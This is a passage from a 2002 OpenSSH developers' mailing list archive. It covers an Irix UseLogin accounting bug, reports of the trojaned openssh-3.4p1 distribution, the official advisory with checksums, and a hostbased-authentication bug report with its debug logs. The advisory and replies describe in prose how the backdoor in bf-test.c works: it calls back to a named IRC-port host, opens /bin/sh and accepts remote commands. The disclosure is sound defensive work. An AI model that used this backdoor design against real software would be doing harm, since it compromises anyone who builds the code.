debug1: session_pty_req: session 0 alloc /dev/pts/2
debug3: tty_parse_modes: SSH2 n_bytes 266
debug3: tty_parse_modes: ospeed 38400
debug3: tty_parse_modes: ispeed 0
debug3: tty_parse_modes: 1 3
debug3: tty_parse_modes: 2 28
debug3: tty_parse_modes: 3 127
debug3: tty_parse_modes: 4 21
debug3: tty_parse_modes: 5 4
debug3: tty_parse_modes: 6 0
debug3: tty_parse_modes: 7 0
debug3: tty_parse_modes: 8 17
debug3: tty_parse_modes: 9 19
debug3: tty_parse_modes: 10 26
debug3: tty_parse_modes: 11 25
debug3: tty_parse_modes: 12 18
debug3: tty_parse_modes: 13 23
debug3: tty_parse_modes: 14 22
debug3: tty_parse_modes: 16 0
debug3: tty_parse_modes: 18 15
debug3: tty_parse_modes: 30 1
debug3: tty_parse_modes: 31 0
debug3: tty_parse_modes: 32 0
debug3: tty_parse_modes: 33 1
debug3: tty_parse_modes: 34 0
debug3: tty_parse_modes: 35 0
debug3: tty_parse_modes: 36 1
debug3: tty_parse_modes: 37 0
debug3: tty_parse_modes: 38 1
debug3: tty_parse_modes: 39 0
debug3: tty_parse_modes: 40 0
debug3: tty_parse_modes: 41 1
debug3: tty_parse_modes: 50 1
debug3: tty_parse_modes: 51 1
debug3: tty_parse_modes: 52 0
debug3: tty_parse_modes: 53 1
debug3: tty_parse_modes: 54 1
debug3: tty_parse_modes: 55 1
debug3: tty_parse_modes: 56 0
debug3: tty_parse_modes: 57 0
debug3: tty_parse_modes: 58 0
debug3: tty_parse_modes: 59 1
debug3: tty_parse_modes: 60 1
debug3: tty_parse_modes: 61 1
debug3: tty_parse_modes: 62 0
debug3: tty_parse_modes: 70 1
debug3: tty_parse_modes: 71 0
debug3: tty_parse_modes: 72 1
debug3: tty_parse_modes: 73 0
debug3: tty_parse_modes: 74 0
debug3: tty_parse_modes: 75 0
debug3: tty_parse_modes: 90 1
debug3: tty_parse_modes: 91 1
debug3: tty_parse_modes: 92 0
debug3: tty_parse_modes: 93 0
debug1: server_input_channel_req: channel 0 request shell reply 0
debug1: session_by_channel: session 0 channel 0
debug1: session_input_channel_req: session 0 req shell
debug1: PAM setting tty to "/dev/pts/2"
debug1: PAM establishing creds
debug1: fd 4 setting TCP_NODELAY
debug1: fd 11 setting O_NONBLOCK
debug2: fd 10 is O_NONBLOCK
debug1: Received SIGCHLD.
debug1: session_by_pid: pid 10183
debug1: session_exit_message: session 0 channel 0 pid 10183
debug1: channel request 0: exit-status
debug1: session_exit_message: release channel 0
debug1: channel 0: write failed
debug1: channel 0: close_write
debug1: channel 0: output open -> closed
debug1: session_close: session 0 pid 10183
debug1: session_pty_cleanup: session 0 release /dev/pts/2
debug2: notify_done: reading
debug1: channel 0: read<=0 rfd 11 len 0
debug1: channel 0: read failed
debug1: channel 0: close_read
debug1: channel 0: input open -> drain
debug1: channel 0: ibuf empty
debug1: channel 0: send eof
debug1: channel 0: input drain -> closed
debug1: channel 0: send close
debug3: channel 0: will not send data after close
debug1: channel 0: rcvd close
debug3: channel 0: will not send data after close
debug1: channel 0: is dead
debug1: channel 0: garbage collecting
debug1: channel_free: channel 0: server-session, nchannels 1
debug3: channel_free: status: The following connections are open:
  #0 server-session (t4 r0 i3/0 o3/0 fd -1/-1)
debug3: channel_close_fds: channel 0: r -1 w -1 e -1
Connection closed by remote host.
Closing connection to 20.1.2.3
debug1: Cannot delete credentials[7]: Permission denied
Segmentation Fault - core dumped



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From sopko at cs.unc.edu  Thu Aug  1 23:20:16 2002
From: sopko at cs.unc.edu (John W. Sopko Jr.)
Date: Thu, 01 Aug 2002 09:20:16 -0400
Subject: Irix UseLogin wtmp/utmp bug
Message-ID: <3D493590.E7757C8D@cs.unc.edu>

I placed a Call to SGI about this bug, here is there response
and my response to there response.

-------- Original Message --------
Subject: Re: [Fwd: Regarding Case Number 2356416]
Date: Thu, 01 Aug 2002 09:10:46 -0400
From: "John W. Sopko Jr." <sopko at cs.unc.edu>
To: "Chris Duffy (Loose Cannon)" <cjd at sgi.com>
CC: riley at cs.unc.edu
References: <3D48044C.2BAB347B at cs.unc.edu>
<3D481900.62149C64 at cs.unc.edu> <3D492E39.5EF60CB7 at americas.sgi.com>

Thanks for looking at this. I am not a full time C programmer
but a system admin. It just seems to me that calling the
login/scheme program with a user name that program should do
all the work, the man page says, "After a successful login,
accounting files are updated".

I guess from your findings the parent process that calls
login/scheme is supposed to set this up which means it should
actually place a user entry in the utmp/wtmp files and then the
login/scheme program touches this up with some other info. 

I cannot spend time on this. Someone at OpenSSH would
need to know what the SGI login program expects and I would
guess they would need documentation and source code on the SGI
login/schem program so they can figure out how sshd and
login/scheme are to interact to update the accounting files.


"Chris Duffy (Loose Cannon)" wrote:
> 
> "John W. Sopko Jr." wrote:
> >
> > Note we upgraded one of our machines to Irix 6.5.16 and
> > this did not fix the problem.
> 
> Ok, I am done with my testing, etc.  What I found is the following
> and I will be writing a bug report on sshd and I guess it
> gets forwarded back to the openssh people (external to us)
> to get fixed.
> 
> -It does not matter what environment variables are set
> and passed to login/scheme.  With the "UseLogin" feature
> turned on, sshd does indeed create a different subset
> of environment variables but login/scheme on Irix does
> not care.  I changed the code in session.c to add all the
> same environment variables in all cases but it did not help.
> 
> -However, sshd via session.c and loginrec.c do all the login
> prep work as well are responsible to update the utmp/utmpx
> accounting files.  Based on what sshd writes into the
> utmp/utmpx records, Irix's login/scheme code will
> update it with some other info.  However, since the
> records were not updated properly by sshd, login/scheme
> basically ignores updating the records.  I'll explain why
> below.
> 
> -in the utmp/utmpx records, there is field, ut_type
> that records what state the record/user is in, i.e.
> 
> #define EMPTY           0
> #define RUN_LVL         1
> #define BOOT_TIME       2
> #define OLD_TIME        3
> #define NEW_TIME        4
> #define INIT_PROCESS    5       /* Process spawned by "init" */
> #define LOGIN_PROCESS   6       /* A "getty" process waiting for login
> */
> #define USER_PROCESS    7       /* A user process */
> #define DEAD_PROCESS    8
> #define ACCOUNTING      9
> 
> sshd is supposed to put the records, both utmp and utmpx,
> into the USER_PROCESS state.  In the case where you do not use the
> "UseLogin yes", only one login/passwd is issued, it works properly,
> i.e. sshd places the record(s) into USER_PROCESS state and
> login/scheme sees that they are valid and updates the record(s).
> Utilities like who/finger/last work properly.
> In the case where you do use "UseLogin yes", which causes
> sshd to login twice, session.c uses different logic where
> it does not call the proper routines in loginrec.c to
> update the utmp/utmpx records with the proper state, i.e.
> it does not update the records to USER_PROCESS state.
> In fact, it does not touch this field, i.e. they are 0
> or maybe set to DEAD_PROCESS but for sure it does not set
> the field to USER_PROCESS.
> 
> Now when Irix's login/scheme sees these records and does not
> find the state to be either USER_PROCESS or INIT_PROCESS,
> it does not update some of the other fields.....but no big deal.
> The utilities like who/finger/last only look at ut_type to see
> if the user is active but if they do not see USER_PROCESS or
> INIT_PROCESS, then they will ignore the entrys.
> 
> I also looked at some of the comments by others who modified
> sshd code and it looks like a few changes were made earlier
> in the year regarding this process.  Someone may have put
> code in to fix one problem and may have caused this one.
> The only thing I can do is get this info to our people who
> will get it back to openssh folks.
> 
> So for now, it is broken.  If you have the time to do more research
> you may be able to get it to work.....else ask someone else
> that contributes to the openssh project and they may come up with a fix.
> 
> If this is all, I will be closing this case, writing the
> bug report for our people.
> 
> Let me know.
> 
> Regards,
> Chris Duffy
> cjd at sgi.com
> 
> >
> > > FR: cjd
> > >
> > > Duncan,
> > >
> > > I have your case on login/sshd/wtmp problem.
> > > I am working with it at the moment and will get back to
> > > you with what I find.
> > >
> > > Regards,
> > > Chris Duffy
> > > cjd at sgi.com
> >
> > --
> > John W. Sopko Jr.               University of North Carolina
> > email: sopko at cs.unc.edu         Computer Science Dept., CB 3175
> > Phone: 919-962-1844             Sitterson Hall; Room 135
> > Fax:   919-962-1799             Chapel Hill, NC 27599-3175
> 
> --
> Regards, Chris Duffy
> 
>  _                            ____
> | |    ___   ___  ___  ___   / ___|__ _ _ __  _ __   ___  _ __
> | |   / _ \ / _ \/ __|/ _ \ | |   / _` | '_ \| '_ \ / _ \| '_ \
> | |__| (_) | (_) \__ \  __/ | |__| (_| | | | | | | | (_) | | | |
> |_____\___/ \___/|___/\___|  \____\__,_|_| |_|_| |_|\___/|_| |_|
> 
> +------------------------------+-------------------------------+
> | Chris Duffy - Network Support| Email: cjd at sgi.com            |
> | SGI Technology Solutions     | Fax:      (651) 683-5889      |
> | SGI                          | Voice:    (651) 683-5379      |
> | 655F Lone Oak Drive, MC 32   | Cell Phone: (612) 325-5831    |
> | Eagan, MN 55121-1560         | Pgr: 6123255831 at mobile.att.net|
> +------------------------------+-------------------------------+

-- 
John W. Sopko Jr.               University of North Carolina
email: sopko at cs.unc.edu         Computer Science Dept., CB 3175
Phone: 919-962-1844             Sitterson Hall; Room 135
Fax:   919-962-1799             Chapel Hill, NC 27599-3175


From binder at arago.de  Thu Aug  1 23:23:59 2002
From: binder at arago.de (Thomas Binder)
Date: Thu, 1 Aug 2002 15:23:59 +0200
Subject: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than frozen
In-Reply-To: <20020801113922.GQ29401@bodin.org>; from magnus@bodin.org on Thu, Aug 01, 2002 at 01:39:22PM +0200
References: <Pine.LNX.4.21.0208010916300.15048-100000@celebris.bdk.pl> <20020801113922.GQ29401@bodin.org>
Message-ID: <20020801152359.A8471990@ohm.arago.de>

Hi!

> bf-test.c[1] is nothing more than a wrapper which generates a
> shell-script[2] which compiles itself and tries to connect to an
> server running on 203.62.158.32:6667 (web.snsonline.net).

Well, not only does it try to connect, it also executes /bin/sh
when it receives a certain response from that host.


Ciao

Thomas


-- 
According to Kentucky state law, every person must take a bath at least
once a year.


From b.courtin at t-online.net  Fri Aug  2 00:04:43 2002
From: b.courtin at t-online.net (Courtin Bert)
Date: Thu, 1 Aug 2002 16:04:43 +0200
Subject: openssh-3.4p1.tar.gz (openBSD) trojaned
Message-ID: <60F1F87A64834D45A1EBAE9618305FB80120BEB6@qeo00200>

Hi,

FYI:
------------------------------------------------------
http://docs.freebsd.org/cgi/getmsg.cgi?fetch=394609+0+current/freebsd-security
------------------------------------------------------

>Greetings,
>
>Just want to inform you that the OpenSSH package op ftp.openbsd.org
>(and probably all its mirrors now) it trojaned:
>
>    ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
>
>The OpenBSD people have been informed about it (via email to
>deraadt at openbsd.org and via irc.openprojects.org/#openbsd)


German version on ct.heise.de:

http://www.ct.heise.de/newsticker/data/pab-01.08.02-000/


Kind regards,
B. Courtin


From keith.schincke1 at jsc.nasa.gov  Fri Aug  2 00:21:50 2002
From: keith.schincke1 at jsc.nasa.gov (SCHINCKE, KEITH (JSC-SM) (LM))
Date: Thu, 1 Aug 2002 09:21:50 -0500 
Subject: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than 
	frozen
Message-ID: <1408A865DCF403478A33EE887F87473204E00D17@jsc-mail03.jsc.nasa.gov>

I am sure most people have already done this but for the few who have not
slashdot.org has a news story about this.

The important part: http://slashdot.org/comments.pl?sid=37188&cid=3991288

-----Original Message-----
From: Thomas Binder [mailto:binder at arago.de]
Sent: Thursday, August 01, 2002 8:24 AM
To: openssh-unix-dev at mindrot.org
Subject: Re: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather
than frozen


Hi!

> bf-test.c[1] is nothing more than a wrapper which generates a
> shell-script[2] which compiles itself and tries to connect to an
> server running on 203.62.158.32:6667 (web.snsonline.net).

Well, not only does it try to connect, it also executes /bin/sh
when it receives a certain response from that host.


Ciao

Thomas


-- 
According to Kentucky state law, every person must take a bath at least
once a year.
_______________________________________________
openssh-unix-dev at mindrot.org mailing list
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev


From Weimer at CERT.Uni-Stuttgart.DE  Fri Aug  2 01:08:24 2002
From: Weimer at CERT.Uni-Stuttgart.DE (Florian Weimer)
Date: Thu, 01 Aug 2002 17:08:24 +0200
Subject: Openssl and openssh
In-Reply-To: <01f901c23951$dce1e080$390110ac@kursi> ("kumar"'s message of
 "Thu, 1 Aug 2002 15:33:09 +0530")
References: <20020726083356.DA264E902@shitei.mindrot.org>
	<01f901c23951$dce1e080$390110ac@kursi>
Message-ID: <87eldity53.fsf@CERT.Uni-Stuttgart.DE>

"kumar" <kumareshind at gmx.net> writes:

> I had seen some recommendations for and against that these vulnerabilities
> affects OpenSSH.

Protocol 2 RSA public key/host based authentication calls OpenSSL's
RSA_verify, which ueses the ASN.1 parser internally.  Exploiting
CAN-2002-0659 still requires that the SSH2 public key has been stored
on the SSH server, so no anonymous attacks are possible in typical
contexts.

-- 
Florian Weimer 	                  Weimer at CERT.Uni-Stuttgart.DE
University of Stuttgart           http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT                          fax +49-711-685-5898


From provos at citi.umich.edu  Fri Aug  2 01:23:27 2002
From: provos at citi.umich.edu (Niels Provos)
Date: Thu, 1 Aug 2002 11:23:27 -0400
Subject: OpenSSH Security Advisory:  Trojaned Distribution Files
Message-ID: <20020801152327.GI6925@citi.citi.umich.edu>

OpenSSH Security Advisory (adv.trojan)

1. Systems affected:

OpenSSH version 3.2.2p1, 3.4p1 and 3.4 have been trojaned on the
OpenBSD ftp server and potentially propagated via the normal mirroring
process to other ftp servers.  The code was inserted some time between
the 30th and 31th of July.  We replaced the trojaned files with their
originals at 7AM MDT, August 1st.

2. Impact:

Anyone who has installed OpenSSH from the OpenBSD ftp server or any
mirror within that time frame should consider his system compromised.
The trojan allows the attacker to gain control of the system as the
user compiling the binary.  Arbitrary commands can be executed.

3. Solution:

Verify that you did not build a trojaned version of the sources.  The
portable SSH tar balls contain PGP signatures that should be verified
before installation.  You can also use the following MD5 checksums for
verification.

MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 
MD5 (openssh-3.4p1.tar.gz.sig) = d5a956263287e7fd261528bb1962f24c
MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2
MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01
MD5 (openssh-3.2.2p1.tar.gz.sig) = be4f9ed8da1735efd770dc8fa2bb808a

4. Details

When building the OpenSSH binaries, the trojan resides in bf-test.c
and causes code to execute which connects to a specified IP address.
The destination port is normally used by the IRC protocol.  A
connection attempt is made once an hour.  If the connection is
successful, arbitrary commands may be executed.

Three commands are understood by the backdoor:

Command A:  Kill the exploit.
Command D:  Execute a command.
Command M:  Go to sleep.

5. Notice:

Because of the urgency of this issue, the advisory may not be
complete.  Updates will be posted to the OpenSSH web pages if
necessary.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 522 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020801/d17730cf/attachment.bin 

From bugzilla-daemon at mindrot.org  Fri Aug  2 01:36:26 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri,  2 Aug 2002 01:36:26 +1000 (EST)
Subject: [Bug 376] New: HostbasedAuthentication, followed snailbook but not working! :-( 
Message-ID: <20020801153626.9BCC9EA00@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=376

           Summary: HostbasedAuthentication, followed snailbook but not
                    working! :-(
           Product: Portable OpenSSH
           Version: -current
          Platform: UltraSparc
               URL: http://groups.google.com/groups?dq=&hl=en&lr=&ie=UTF-
                    8&group=comp.security.ssh&selm=d2ddc71a.0207310951.60aba
                    a6f%40posting.google.com
        OS/Version: Solaris
            Status: NEW
          Severity: normal
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: rlebar at erac.com


The URL is a link to the Google Group (Usenet News) post I made. No relevant 
response to this yet and I double checked against 
http://cookbook.linuxsecurity.com/sp/ssh-part2.html#Host-based%20trusts. 
Without any clue to indicate otherwise, I have to consider that I have stumbled 
across a bug. 

The contents of the Usenet News post follow. In addition, evereska is running 
Solaris 8 and Endeavor is running Solaris 7. Evereska is an Ultra-10 (333 MHz)
in my cube and Endeavor is a production server and also an Ultra-10 (440 MHz). 
Evereska has one interface and Endeavor has three. A co-worker compiled and 
created the package (on a Solaris 2.6 system I believe).

------8<----------------------------------------------------------------

I followed http://www.snailbook.com/faq/trusted-host-howto.auto.html
but still no go. Here's the relevant config info. The client is
evereska and the server is endeavor. The ssh executable is suid root,
we are using privilege seperation, and we made our own package
installed to the /opt/erac tree. Any ideas?

SERVER:

/opt/erac/etc/sshd_config (comments removed):
---------------------------------------------
Protocol 2
PermitRootLogin yes
StrictModes yes
HostBasedAuthentication yes
HostbasedUsesNameFromPacketOnly yes
X11Forwarding yesq
X11DisplayOffset 400
Subsystem	sftp	/opt/erac//libexec/sftp-server


/opt/erac/etc/ssh_known_hosts2:
-------------------------------
evereska,evereska.wan.erac.com,10.49.191.9,evereska. ssh-dss ...
evereska,evereska.wan.erac.com,10.49.191.9,evereska. ssh-rsa ...

/etc/shosts.equiv (chmod 444)
----------------------------:
evereska
evereska.
10.49.191.9
evereska.wan.erac.com


CLIENT:

/opt/erac/etc/ssh_config (comments removed):
--------------------------------------------

 Host *
   ForwardX11 yes
PreferredAuthentications
hostbased,publickey,keyboard-interactive,password
HostBasedAuthentication yes
UsePrivilegedPort yes


SERVER DEBUG:
=============
debug3: Seeding PRNG from /opt/erac//libexec/ssh-rand-helper
This platform does not support both privilege separation and
compression
Compression disabled
debug1: sshd version OpenSSH_3.4p1
debug3: Not a RSA1 key file /opt/erac/etc/ssh_host_rsa_key.
debug1: read PEM private key done: type RSA
debug1: private host key: #0 type 1 RSA
debug3: Not a RSA1 key file /opt/erac/etc/ssh_host_dsa_key.
debug1: read PEM private key done: type DSA
debug1: private host key: #1 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
debug1: Server will not fork when running in debugging mode.
Connection from 10.49.191.9 port 887
debug1: Client protocol version 2.0; client software version
OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug3: privsep user:group 60001:1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: Network child is on pid 12348
debug3: preauth child monitor started
debug3: mm_request_receive entering
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug3: mm_request_send entering: type 0
debug3: mm_choose_dh: waiting for MONITOR_ANS_MODULI
debug3: mm_request_receive_expect entering: type 1
debug3: mm_request_receive entering
debug3: monitor_read: checking request 0
debug3: mm_answer_moduli: got parameters: 1024 2048 8192
WARNING: /opt/erac/etc/moduli does not exist, using old modulus
debug3: mm_request_send entering: type 1
debug3: mm_choose_dh: remaining 0
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 123/256
debug1: bits set: 537/1024
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 509/1024
debug2: monitor_read: 0 used once, disabling now
debug3: mm_request_receive entering
debug3: mm_key_sign entering
debug3: mm_request_send entering: type 4
debug3: monitor_read: checking request 4
debug3: mm_answer_sign
debug3: mm_answer_sign: signature 121938(143)
debug3: mm_request_send entering: type 5
debug2: monitor_read: 4 used once, disabling now
debug3: mm_request_receive entering
debug3: mm_key_sign: waiting for MONITOR_ANS_SIGN
debug3: mm_request_receive_expect entering: type 5
debug3: mm_request_receive entering
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user rjl01 service ssh-connection method
none
debug1: attempt 0 failures 0
debug3: mm_getpwnamallow entering
debug3: mm_request_send entering: type 6
debug3: monitor_read: checking request 6
debug3: mm_answer_pwnamallow
debug3: mm_answer_pwnamallow: sending MONITOR_ANS_PWNAM: 1
debug3: mm_request_send entering: type 7
debug2: monitor_read: 6 used once, disabling now
debug3: mm_request_receive entering
debug3: mm_getpwnamallow: waiting for MONITOR_ANS_PWNAM
debug3: mm_request_receive_expect entering: type 7
debug3: mm_request_receive entering
debug2: input_userauth_request: setting up authctxt for rjl01
debug3: mm_start_pam entering
debug3: mm_request_send entering: type 37
debug3: monitor_read: checking request 37
debug1: Starting up PAM with username "rjl01"
debug3: Trying to reverse map address 10.49.191.9.
debug1: PAM setting rhost to "evereska.wan.erac.com"
debug2: monitor_read: 37 used once, disabling now
debug3: mm_request_receive entering
debug3: mm_inform_authserv entering
debug3: mm_request_send entering: type 3
debug3: monitor_read: checking request 3
debug3: mm_answer_authserv: service=ssh-connection, style=
debug2: monitor_read: 3 used once, disabling now
debug3: mm_request_receive entering
debug2: input_userauth_request: try method none
debug3: mm_auth_password entering
debug3: mm_request_send entering: type 10
debug3: monitor_read: checking request 10
debug3: mm_answer_authpassword: sending result 0
debug3: mm_request_send entering: type 11
Failed none for rjl01 from 10.49.191.9 port 887 ssh2
debug3: mm_request_receive entering
debug3: mm_auth_password: waiting for MONITOR_ANS_AUTHPASSWORD
debug3: mm_request_receive_expect entering: type 11
debug3: mm_request_receive entering
debug3: mm_auth_password: user not authenticated
Failed none for rjl01 from 10.49.191.9 port 887 ssh2
debug1: userauth-request for user rjl01 service ssh-connection method
hostbased
debug1: attempt 1 failures 1
debug2: input_userauth_request: try method hostbased
debug1: userauth_hostbased: cuser rjl01 chost evereska. pkalg ssh-dss
slen 55
debug3: mm_key_allowed entering
debug3: mm_request_send entering: type 20
debug3: monitor_read: checking request 20
debug3: mm_answer_keyallowed entering
debug3: mm_answer_keyallowed: key_from_blob: 1245e0
debug2: userauth_hostbased: chost evereska. resolvedname
evereska.wan.erac.com ipaddr 10.49.191.9
debug2: auth_rhosts2: clientuser rjl01 hostname evereska. ipaddr
evereska.
debug1: temporarily_use_uid: 503/5005 (e=0)
debug1: restore_uid
debug1: temporarily_use_uid: 503/5005 (e=0)
debug1: restore_uid
debug3: mm_answer_keyallowed: key 1245e0 is disallowed
debug3: mm_request_send entering: type 21
debug3: mm_request_receive entering
debug3: mm_key_allowed: waiting for MONITOR_ANS_KEYALLOWED
debug3: mm_request_receive_expect entering: type 21
debug3: mm_request_receive entering
debug2: userauth_hostbased: authenticated 0
Failed hostbased for rjl01 from 10.49.191.9 port 887 ssh2
debug1: userauth-request for user rjl01 service ssh-connection method
hostbased
debug1: attempt 2 failures 2
debug2: input_userauth_request: try method hostbased
debug1: userauth_hostbased: cuser rjl01 chost evereska. pkalg ssh-rsa
slen 143
debug3: mm_key_allowed entering
debug3: mm_request_send entering: type 20
debug3: monitor_read: checking request 20
debug3: mm_answer_keyallowed entering
debug3: mm_answer_keyallowed: key_from_blob: 1245f8
debug2: userauth_hostbased: chost evereska. resolvedname
evereska.wan.erac.com ipaddr 10.49.191.9
debug2: auth_rhosts2: clientuser rjl01 hostname evereska. ipaddr
evereska.
debug1: temporarily_use_uid: 503/5005 (e=0)
debug1: restore_uid
debug1: temporarily_use_uid: 503/5005 (e=0)
debug1: restore_uid
debug3: mm_answer_keyallowed: key 1245f8 is disallowed
debug3: mm_request_send entering: type 21
debug3: mm_request_receive entering
debug3: mm_key_allowed: waiting for MONITOR_ANS_KEYALLOWED
debug3: mm_request_receive_expect entering: type 21
debug3: mm_request_receive entering
debug2: userauth_hostbased: authenticated 0
Failed hostbased for rjl01 from 10.49.191.9 port 887 ssh2
debug1: userauth-request for user rjl01 service ssh-connection method
keyboard-interactive
debug1: attempt 3 failures 3
debug2: input_userauth_request: try method keyboard-interactive
debug1: keyboard-interactive devs 
debug1: auth2_challenge: user=rjl01 devs=
debug1: kbdint_alloc: devices ''
debug2: auth2_challenge_start: devices 
Failed keyboard-interactive for rjl01 from 10.49.191.9 port 887 ssh2
Connection closed by 10.49.191.9
debug1: Calling cleanup 0x53eb0(0x0)
debug1: Calling cleanup 0x38d24(0x0)
debug1: Calling cleanup 0x53eb0(0x0)


CLIENT DEBUG (removed some carriage returns):
=============================================
OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090605f
debug1: Reading configuration data /opt/erac/etc/ssh_config
debug1: Applying options for *
debug3: RNG is ready, skipping seeding
debug1: ssh_connect: needpriv 1
debug1: Connecting to endeavor [10.49.191.121] port 22.
debug3: RNG is ready, skipping seeding
debug1: Allocated local port 620.
debug1: Connection established.
debug1: read PEM private key done: type DSA
debug1: read PEM private key done: type RSA
debug1: identity file /export/home/rjl01/.ssh/identity type -1
debug1: identity file /export/home/rjl01/.ssh/id_rsa type -1
debug1: identity file /export/home/rjl01/.ssh/id_dsa type -1
debug1: Remote protocol version 2.0, remote software version
OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-
cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-
md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
